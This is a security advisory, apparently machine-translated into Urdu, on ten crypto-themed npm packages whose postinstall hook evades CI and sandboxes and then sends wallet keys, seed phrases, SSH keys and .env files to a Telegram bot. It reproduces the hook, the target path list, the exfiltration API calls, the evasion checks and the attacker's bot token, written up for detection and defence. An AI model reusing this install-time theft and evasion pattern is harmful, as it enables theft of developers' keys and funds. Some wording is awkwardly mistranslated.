TL؛ ڈاکٹر
9 جون 2026 کو ایک واحد npm پبلشر اکاؤنٹ، aicrypto-xzggg، بھیج دیا گیا۔ دس پیکج crypto- اور Web3 ذائقہ والے ناموں کے ساتھ — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9، اور چھ مزید۔
ہر پیکج ایک سے ایک ہی پے لوڈ چلاتا ہے۔ postinstall ہک انسٹال کرنے پر، یہ چیک کرتا ہے کہ آیا یہ CI کے اندر چل رہا ہے یا سینڈ باکس — اگر نہیں، تو یہ والیٹ کی اسٹورز، سیڈ فریز فائلز، SSH کیز، اور .env چھ بلاکچین ماحولیاتی نظاموں سے فائلیں اور انہیں ٹیلیگرام بوٹ میں منتقل کرتا ہے۔
واحد اشارے جس کا ایک محافظ فوری طور پر تلاش کر سکتا ہے وہ ہے ٹیلیگرام بوٹ آئی ڈی 8227918239.
شدت: اہم - دستخط کرنے والی چابیاں اور بازیافت کے فقرے کی براہ راست چوری ڈویلپر ورک سٹیشنز.
حملہ: یہ کیسے کام کرتا ہے۔
پیکیجز خود کو بلاکچین ڈویلپر یوٹیلیٹیز کے طور پر تشہیر کرتے ہیں۔ دی package.json کم سے کم ہے اور اسکرپٹ پر انسٹال لائف سائیکل کی نشاندہی کرتا ہے:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } scripts/postinstall.js ایک لائن شیم ہے جو حقیقی پے لوڈ کو لوڈ کرتی ہے: درکار ہے("../src/index.js"). کیونکہ پوسٹ انسٹال کے دوران خود بخود چلتا ہے۔ این ایم پی انسٹال، ڈویلپر کے ذریعہ کسی کوڈ کی درآمد کی ضرورت نہیں ہے — پیکیج کو انحصار درخت میں رکھنا اس پر عمل درآمد کے لئے کافی ہے۔
اندر قتل کی زنجیر src/index.js چار مراحل ہیں:
- ماحولیات کی جانچ۔ ایک گارڈ فنکشن فیصلہ کرتا ہے کہ آیا میزبان ایک بلڈ ایجنٹ یا تجزیہ سینڈ باکس کی طرح لگتا ہے۔
- تاخیر پھانسی کو پیچھے چھوڑ دیا جاتا ہے۔ مقررہ وقت تقریباً 7.4 سیکنڈ۔
- جمع کرنا۔ بٹوے، کلید، اور خفیہ فائل کے راستوں کی ایک مقررہ فہرست چلائی جاتی ہے۔ موجودہ فائلیں قطار میں ہیں۔
- exfiltration. قطار میں لگی فائلیں ٹیلیگرام بوٹ کو بھیجی جاتی ہیں، اس سے پہلے سمری میسج ہوتا ہے۔
مجموعہ ہدف کی فہرست چھ زنجیروں کے علاوہ عام ڈویلپر کے رازوں پر محیط ہے۔ تراشی ہوئی:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local مجموعی طور پر اکیس راستے۔ ڈائریکٹری اندراجات جیسے ~/.ethereum/keystore توسیع شدہ ہیں اور اندر کی ہر فائل قطار میں ہے۔ exfiltration ٹیلیگرام بوٹ API کا براہ راست استعمال کرتا ہے — a پیغام بھیجیں۔ میزبان کے ساتھ کال کریں اور سمری فائل کریں، پھر a دستاویز بھیجیں۔ ہر فائل کے لیے ملٹی پارٹ اپ لوڈ:
متن
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) خلاصہ پیغام جو کوڈ جمع کرتا ہے وہ لفظی تار سے شروع ہوتا ہے۔ کرپٹو چوری کرنے والا، اس کے بعد میزبان نام، صارف کا نام، اصل پیکیج کا نام، فائل کی گنتی، اور ٹائم اسٹیمپ۔
یہاں نیا کیا ہے۔
تفریق کرنے والا چوری کا طریقہ کار نہیں ہے — npm سے ٹیلیگرام پر مبنی exfil پوسٹ انسٹال hooks اچھی طرح سے کچل دیا گیا ہے. یہ ہے پھانسی کے دروازے. کچھ بھی کرنے سے پہلے، پے لوڈ ایک فنکشن کو کال کرتا ہے جو درست واپس آتا ہے جب میزبان CI رنر یا سینڈ باکس سے ملتا ہے، اور جلد واپس آتا ہے جب یہ کرتا ہے:
متن
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) کنٹینر آئی ڈی ریجیکس قابل ذکر شق ہے: ایک 12-ہیکس-کریکٹر کا میزبان نام ڈیفالٹ شکل ہے جو ڈوکر ایک کو تفویض کرتا ہے۔ کنٹینر، لہذا پے لوڈ غیر فعال رہنے کی وجہ کے طور پر "میرا میزبان نام ڈوکر کنٹینر کی طرح لگتا ہے" کے ساتھ سلوک کرتا ہے۔ سات سیکنڈ کی تاخیر کے ساتھ مل کر، ڈیزائن ڈویلپر کے حقیقی ورک سٹیشن پر چلنے اور خودکار تجزیہ کی طرح کسی بھی جگہ خاموش رہنے کے حق میں ہے۔ وہ گیٹ وہی ہے جس نے متحرک تجزیہ کے اشاروں کو دبایا اور بنیادی یقین کے ثبوت کے طور پر جامد خارجی بہاؤ کو برقرار رکھا۔
ٹائم لائن
| تاریخ (UTC) | واقعہ |
|---|---|
| 2026-06-09 ~02:48 | کلسٹر میں پہلے پیکجوں کو اشاعت پر جھنڈا لگایا گیا (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | اعلی ورژن والے اراکین کو جھنڈا لگایا گیا (ethereum-kit-9 1.25.36 میں، wallet-sdk-9 3.7.73 پر) |
| 2026-06-09 ~03:58–03:59 | فائنل ممبران نے جھنڈا لگایا (defi-tools-39 4.26.29 میں، swap-sdk-87 4.63.78 میں، farming-tools-12 4.68.54 پر) |
| 2026-06-09 | تمام دس کی درجہ بندی بدنیتی پر مبنی ہے اور رجسٹری کو ہٹانے کی اطلاع دی گئی ہے۔ |
تمام دس تقریباً ستر منٹ کے اندر منظر عام پر آگئے، ایک ہی اسکرپٹ شدہ اشاعت کے ساتھ ایک اکاؤنٹ سے چلائی جاتی ہے۔
سمجھوتہ کے اشارے
نیٹ ورک اور رویے کے اشارے (میزبان ڈیفانڈ):
| اشارے | قدر |
|---|---|
| Exfil اختتامی نقطہ | api[.]telegram[.]org (ٹیلیگرام بوٹ API) |
| ٹیلیگرام بوٹ آئی ڈی | 8227918239 |
| بوٹ ٹوکن | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| ٹیلیگرام چیٹ آئی ڈی | 6433587894 |
| ہک انسٹال کریں۔ | postinstall → scripts/postinstall.js → src/index.js |
| مارکر تار | CRYPTO STEALER جمع کردہ خلاصہ پیغام میں |
| پبلیشر | aicrypto-xzggg (بیان کردہ ای میل vipsyria88@gmail[.]com, غیر تصدیق شدہ) |
پیکیجز اور ورژن، ہر ایک اس کے SHA-256 کے ساتھ src/index.js پے لوڈ (پے لوڈز عملی طور پر ایک جیسے ہیں اور صرف سرایت شدہ پیکیج نام کے لیبل میں مختلف ہیں، لہذا ہر ہیش الگ ہے):
| پیکج | ورژن | SHA-256 of src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
شکار کا ایک سادہ سوال: دس ناموں میں سے کسی کے لیے انسٹال لاگز اور لاک فائلز تلاش کریں، اور ٹیلیگرام بوٹ API سے کنکشن کے لیے آؤٹ باؤنڈ ٹریفک کو بلڈ یا ڈویلپر ہوسٹس سے تلاش کریں جو دوسری صورت میں اسے استعمال نہیں کرتے ہیں۔
انتساب اور مشاہدہ سلوک
تمام دس پیکجز ایک اکاؤنٹ سے شائع کیے گئے، aicrypto-xzggg، جس کا بیان کردہ ای میل ہے۔ vipsyria88@gmail[.]com. ای میل اور سورس کنٹرول لنک دونوں رجسٹری میٹا ڈیٹا میں غیر تصدیق شدہ ہیں، اور اکاؤنٹ ایک سخت منفی ساکھ کا سکور رکھتا ہے۔ ہم نے تصدیق نہیں کی ہے کہ اکاؤنٹ کون چلاتا ہے۔
دو تفصیلات کسی بھی شناختی دعوے سے الگ کرنے کے قابل ہیں۔ سب سے پہلے، package.json مصنف فیلڈ پڑھتا ہے یلیکس سمتھ ہر پیکج پر، جبکہ اصل اشاعت کا اکاؤنٹ ہے۔ aicrypto-xzggg; مصنف کا فیلڈ خود اعلان کردہ میٹا ڈیٹا ہے اور تصنیف کا تعین نہیں کرتا ہے۔ دوسرا، ورژن نمبر بڑے پیمانے پر مختلف ہوتے ہیں — کچھ اراکین بیٹھتے ہیں۔ 1.0.0, دوسروں پر 4.68.54 - جو حقیقی ریلیز کی تاریخ کو برقرار رکھنے کے بجائے تازہ ترین پیکیج کے ناموں میں ایک ہی پے لوڈ کو دوبارہ استعمال کرنے کے ساتھ مطابقت رکھتا ہے۔
رویہ پورے کلسٹر میں یکساں ہے: وہی ٹارگٹ پاتھ لسٹ، وہی ٹیلیگرام بوٹ آئی ڈی اور چیٹ آئی ڈی، وہی ماحول گیٹ، وہی کرپٹو چوری کرنے والا مارکر یہ یکسانیت پیکجوں کے درمیان سب سے مضبوط ربط ہے۔ یہ ایک ہی آپریٹر سگنل ہے، شناخت نہیں۔
اثرات، رجحانات اور محافظوں کے لیے رہنمائی
نمائش ٹھوس ہے۔ ایک ڈویلپر جو ان پیکجوں میں سے کسی کو ایسے ورک سٹیشن پر انسٹال کرتا ہے جس میں سافٹ ویئر والیٹ، سیڈ فریز فائل، یا SSH کلید ہوتی ہے، وہ فائلیں سیکنڈوں میں میزبان کو پڑھ کر منتقل کر دیتی ہیں۔ بازیابی کے جملے اور دستخط کرنے والی کلیدیں سیشن ٹوکن کی طرح ختم نہیں ہوتی ہیں۔ ایک بار mnemonic.txt یا سولانا id.json مشین کو چھوڑ دیتا ہے، اس کے کنٹرول کردہ فنڈز اس وقت تک خطرے میں ہیں جب تک کہ وہ منتقل نہ ہو جائیں۔ وہی رن بھی پکڑتا ہے۔ .env فائلیں، جو معمول کے مطابق API کیز اور ڈیٹا بیس کی اسناد لے کر جاتی ہیں۔
اس کلسٹر کے پیچھے دو رجحانات بیٹھے ہیں۔ پہلا ایک مخصوص سامعین کو عدالت میں پیش کرنے کے لیے کرپٹو- اور ویب 3 تھیم والے ناموں کا مسلسل استعمال ہے — ڈویلپرز جو بٹوے اور چابیاں اسی مشین پر رکھتے ہیں جس پر وہ انحصار کرتے ہیں۔ دوسرا انسٹال ٹائم پے لوڈز میں سینڈ باکس کی چوری کی پختگی ہے۔ ایک گیٹ جو CI ماحولیات کے متغیرات، رنر کے صارف ناموں، اور Docker کنٹینر-id کے میزبان نام کی شکل کو چیک کرتا ہے، ایک حقیقی ورک سٹیشن کے مقابلے میں تجزیہ کے تحت مختلف طریقے سے برتاؤ کرنے کی دانستہ کوشش ہے، اور یہ خالصتاً متحرک پتہ لگانے کے لیے بار کو بڑھاتا ہے۔
محافظوں کے لیے:
بطور ڈیفالٹ غیر فعال اسکرپٹ کے ساتھ انسٹال کریں۔ این پی ایم انسٹال - نظر انداز - اسکرپٹس، یا سیٹ ignore-scripts=true in .npmrc، روکتا ہے پوسٹ انسٹال پھانسی اسکرپٹ کو صرف ان مخصوص انحصاروں کے لیے فعال کریں جن کی حقیقی ضرورت ہے۔
بٹوے اور سائننگ کیز کو بلڈ اینڈ ڈیولپمنٹ مشینوں سے دور رکھیں۔ ہارڈ ویئر والیٹ یا ایک وقف شدہ، انحصار سے پاک دستخط کرنے والے میزبان کا استعمال کریں۔
علاج .env, keystores، اور بیج کے فقرے کی فائلیں بطور تاج زیورات۔ انہیں کبھی بھی ایسی ڈائرکٹری میں نہیں بیٹھنا چاہئے جو ایک بھی ہو۔ این ایم پی انسٹال کام کرنے والا درخت.
CI اور ڈویلپر میزبانوں سے Telegram Bot API سے آؤٹ باؤنڈ کنکشن تلاش کریں۔ زیادہ تر تعمیراتی ماحول اسے کبھی نہیں کہتے ہیں۔ ایک جو اچانک کرتا ہے، انسٹال کے فوراً بعد، تفتیش کے قابل ہے۔
پن اور انحصار کا جائزہ لیں۔ ایک عام کرپٹو نام کے ساتھ ایک بالکل نیا پیکیج، a پوسٹ انسٹال ہک، اور کوئی ریپوزٹری لنک لاک فائل میں داخل ہونے سے پہلے ایک نظر کی ضمانت نہیں دیتا۔
کنٹینر آئی ڈی کی چوری کی شق تجزیہ کاروں کے لیے ایک یاد دہانی بھی ہے: ایک انسٹال ٹائم پے لوڈ جو سینڈ باکس میں غیر فعال رہتا ہے، سومی نہیں ہے، یہ منتخب ہے۔ انسٹال پاتھ کا جامد جائزہ یہ دیکھنے کا قابل اعتماد طریقہ ہے کہ کون سا متحرک عمل ظاہر کرنے سے انکار کر سکتا ہے۔
حوالہ جات
این پی ایم انسٹال دستاویزات — لائف سائیکل اسکرپٹس اور -اسکرپٹس کو نظر انداز کریں۔- خودکار انسٹال کو غیر فعال کرنے کا حوالہ hooks.





